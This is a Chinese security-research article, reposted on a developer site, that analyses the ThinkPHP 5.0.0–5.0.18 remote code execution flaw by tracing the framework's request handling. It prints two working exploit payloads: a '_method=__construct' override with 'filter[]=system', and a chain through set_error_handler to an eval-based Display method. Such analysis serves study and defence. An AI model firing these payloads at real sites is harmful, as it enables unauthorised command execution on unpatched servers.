热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Thinkphp5.0.05.0.18RCE分析

 1.本文一共1732个字 26张图 预计阅读时间15分钟2.本文作者Panacea 属于Gcow安全团队复眼小组 未经过许可禁止转载3.本篇文章主要分析了Thinkphp5.0.0-5.0.18RC

 

1.本文一共1732个字 26张图 预计阅读时间15分钟
2.本文作者Panacea 属于Gcow安全团队复眼小组 未经过许可禁止转载
3.本篇文章主要分析了Thinkphp5.0.0-5.0.18RCE情况
4.本篇文章十分适合漏洞安全研究人员进行交流学习
5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽

0x00.前言

本篇文章基于thinkphp5.*框架,分析两种payload的构成以及执行流程


准备

Windows+phpstudy

tp版本:thinkphp_5.0.5_full

php版本:5.4.45

phpstorm+xdebug

 

0x01.Payload1



开始分析

漏洞代码位于:thinkphp/library/think/Request.php

首先放上payload:

s=whoami&_method=__construct&method=post&filter[]=system

method方法主要用来判断请求方式,首先分析一下这段代码的逻辑:通过$_SERVERserver方法获取请求类型,如果不存在method变量值,那么就用表单请求类型伪装变量覆盖method的值,那么就可以利用这点调用其他函数,预定义里面methodfalse,那么就会直接走下一步的是否存在表单覆盖变量

get方法中获取var_method的值,值为_method

config.php已经有默认值,但我们构造的payload里面传值_method=__construct就是变量覆盖,因此下一步会走到__construct方法

// 表单请求类型伪装变量
'var_method' => '_method',

继续往下跟代码,来到__construct构造方法,将数组option进行遍历操作,如果option的键名为该属性的话,则将该同名的属性赋值给\$option的键值,如果filter为空的空,就调用默认的default_filter

filter方法:

public function filter($filter = null)
{
if (is_null($filter)) {
return $this->filter;
} else {
$this->filter = $filter;
}
}

而默认的过滤方法为空

// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',

在构造函数里面走完filter之后会走input方法,继续跟进

继续往下跟,这里的method已经为post方法,所以进入param方法里的post是直接break

下一步进入filtervalue方法中,可以看到我们要传入的值已经全部传进了,call_user_func()函数将我们传入的\$filter=system作为回调函数调用,也就达到了RCE的目的

 

0x02.Payload2



前提

该利用的重点在于在一定条件下可以使用::来调用非静态方法

首先我们需要了解静态属性和静态方法是如何调用的,静态属性一般使用self::进行调用,但是在该篇博客上面使用了::的骚操作,用::调用非静态方法

class People{
static public $name = "pana";
public $height = 170;
static public function output(){
//静态方法调用静态属性使用self
print self::$name."
";
//静态方法调用非静态属性(普通方法)需要先实例化对象
$t = new People() ;
print $t -> height."
";
}
public function say(){
//普通方法调用静态属性使用self
print self::$name."
";
//普通方法调用普通属性使用$this
print $this -> height."
";
}
}
$pa = new People();
$pa -> output();
$pa -> say();
//可以使用::调用普通方法
$pan = People::say();

可以看到最后的输出,仍然输出了name的值,但是却没有输出height的值

原因在于:php里面使用双冒号调用方法或者属性时候有两种情况:

直接使用::调用静态方法或者属性

::调用普通方法时,需要该方法内部没有调用非静态的方法或者变量,也就是没有使用$this,这也就是为什么输出了name的值而没有输出height

了解上面这些,我们就可以开始下面的分析

 

0x03.分析

先放上流程图(本人比较菜鸡 所以只能用这种方法记录下来流程)

首先放上payload

path='); ?>&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=\think\view\driver\Php::Display&method=GET


payload的分析

使用file_put_contents()写入,使用变量覆盖将_method的值设置为_construct,这里的set_error_handler是设置用户自定义的错误处理程序,能够绕过标准的php错误处理程序,接下来就是调用\think\view\driver\Php下面的Display方法,因为我们要利用里面的

eval('?>' . $content);

完成RCE的目的

虽然会报错,但是不影响写入

首先从App.php开始,在routeCheck方法处打断点

public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
if (is_array($rules)) {
Route::rules($rules);
}
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
if (is_array($rules)) {
Route::import($rules);
}
}
}
}

这一步主要是获取$path的值,也就是我们要走的路由captcha

继续往下走,$result = Route::check($request, $path, $depr, $config[‘url_domain_deploy’]);,跟进check方法,这里面的重点就是获取method的值,$request->method()

这里是调用var_method,因为我们传入了_method=__construct,也就是变量覆盖,这些步骤和上面的几乎一样

那下一步继续跟进__construct,走完construct函数后,可以看到大部分的值都是我们希望传进去的,这时method的值为GET,也就是为什么payload里面要传GET的原因

下一步要获取当前请求类型的路由规则

$rules = self::$rules[$method];

可以看到这里的ruleroute的值都发生了改变,路由值为\think\captcha\CaptchaController@index

接下来跟进routeCheck()方法,走完这个方法后,返回result

接下来进入dispatch方法

接下来进入param方法,合并请求参数和url地址栏的参数

$this->param = array_merge($this->get(false), $vars, $this->route(false));

然后进入get方法,继续跟进input方法

然后就会回到filterValue方法执行任意方法

 

0x04.参考文章:

https://y4tacker.blog.csdn.net/article/details/115893304

https://y4tacker.blog.csdn.net/article/details/115893304


推荐阅读
  • 一文详解Linux
    Linuxnetfilter与VRF实验环境如下图所示:配置如下:#!binbashsudoipnetnsaddns1sudoiplinkaddns1veth1typevethpe ... [详细]
  • JavaScript 跨域解决方案详解
    本文详细介绍了JavaScript在不同域之间进行数据传输或通信的技术,包括使用JSONP、修改document.domain、利用window.name以及HTML5的postMessage方法等跨域解决方案。 ... [详细]
  • 本文探讨了如何在PHP与MySQL环境中实现高效的分页查询,包括基本的分页实现、性能优化技巧以及高级的分页策略。 ... [详细]
  • Web动态服务器Python基本实现
    Web动态服务器Python基本实现 ... [详细]
  • 本文探讨了如何通过Service Locator模式来简化和优化在B/S架构中的服务命名访问,特别是对于需要频繁访问的服务,如JNDI和XMLNS。该模式通过缓存机制减少了重复查找的成本,并提供了对多种服务的统一访问接口。 ... [详细]
  • 本文将从基础概念入手,详细探讨SpringMVC框架中DispatcherServlet如何通过HandlerMapping进行请求分发,以及其背后的源码实现细节。 ... [详细]
  • 深入理解:AJAX学习指南
    本文详细探讨了AJAX的基本概念、工作原理及其在现代Web开发中的应用,旨在为初学者提供全面的学习资料。 ... [详细]
  • 本文详细介绍如何安装和配置DedeCMS的移动端站点,包括新版本安装、老版本升级、模板适配以及必要的代码修改,以确保移动站点的正常运行。 ... [详细]
  • Asynchronous JavaScript and XML (AJAX) 的流行很大程度上得益于 Google 在其产品如 Google Suggest 和 Google Maps 中的应用。本文将深入探讨 AJAX 在 .NET 环境下的工作原理及其实现方法。 ... [详细]
  • 在测试软件或进行系统维护时,有时会遇到电脑蓝屏的情况,即便使用了沙盒环境也无法完全避免。本文将详细介绍常见的蓝屏错误代码及其解决方案,帮助用户快速定位并解决问题。 ... [详细]
  • H5技术实现经典游戏《贪吃蛇》
    本文将分享一个使用HTML5技术实现的经典小游戏——《贪吃蛇》。通过H5技术,我们将探讨如何构建这款游戏的两种主要玩法:积分闯关和无尽模式。 ... [详细]
  • Docker安全策略与管理
    本文探讨了Docker的安全挑战、核心安全特性及其管理策略,旨在帮助读者深入理解Docker安全机制,并提供实用的安全管理建议。 ... [详细]
  • 本文介绍了SIP(Session Initiation Protocol,会话发起协议)的基本概念、功能、消息格式及其实现机制。SIP是一种在IP网络上用于建立、管理和终止多媒体通信会话的应用层协议。 ... [详细]
  • 解决PHP项目在服务器无法抓取远程网页内容的问题
    本文探讨了在使用PHP进行后端开发时,遇到的一个常见问题:即在本地环境中能够正常通过CURL获取远程网页内容,但在服务器上却无法实现。我们将分析可能的原因并提供解决方案。 ... [详细]
  • 本文详细介绍了如何正确设置Shadowsocks公共代理,包括调整超时设置、检查系统限制、防止滥用及遵守DMCA法规等关键步骤。 ... [详细]
author-avatar
除了祝福我能怎么办_218
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有